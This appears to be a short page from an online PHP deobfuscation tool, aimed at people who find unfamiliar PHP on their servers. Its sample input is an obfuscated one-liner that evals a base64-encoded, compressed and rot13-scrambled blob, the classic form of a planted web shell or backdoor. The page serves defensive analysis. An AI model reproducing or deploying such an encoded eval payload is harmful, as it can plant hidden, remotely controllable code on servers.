Did you find PHP code on your server that you didn't put there? Sounds like you need to deobfuscate it.
<?php eval(rawurldecode(str_rot13(strrev(gzinflate(gzuncompress(base64_decode("eJwB7wAQ/1VRu27DMAz8Gq2Gow79g3Zz
AmQoOpKCHk0MRWZgodbXl6SjFAEEkeAdeSfq+GasNQdrEONozRyrT4UCp55icg0LpwoFqptzWbK6fnIYiKkc78jXAgkdR8HX6PGiPL5O1gDWCPR
D3nU2FaZzhInFRWAtNI3mqGYGAsHiO+M6gjyt4gAytSdAuOzTG2039F37peGC8NsblJ5wFjikXOgmSEhfLw74nK2ZtDSwS6rl438Xp+5fXpRL38
cuFlglPl4cfVa/IoHQbWmXj6FCbcsk1UYxzCJwTVC/R1UW/dHwwtq+fNpcy1fq83TS4wfOev4Ae9Jy8w==")))))));
Input (HTML/XHTML/PHP code must include at least a '<?'):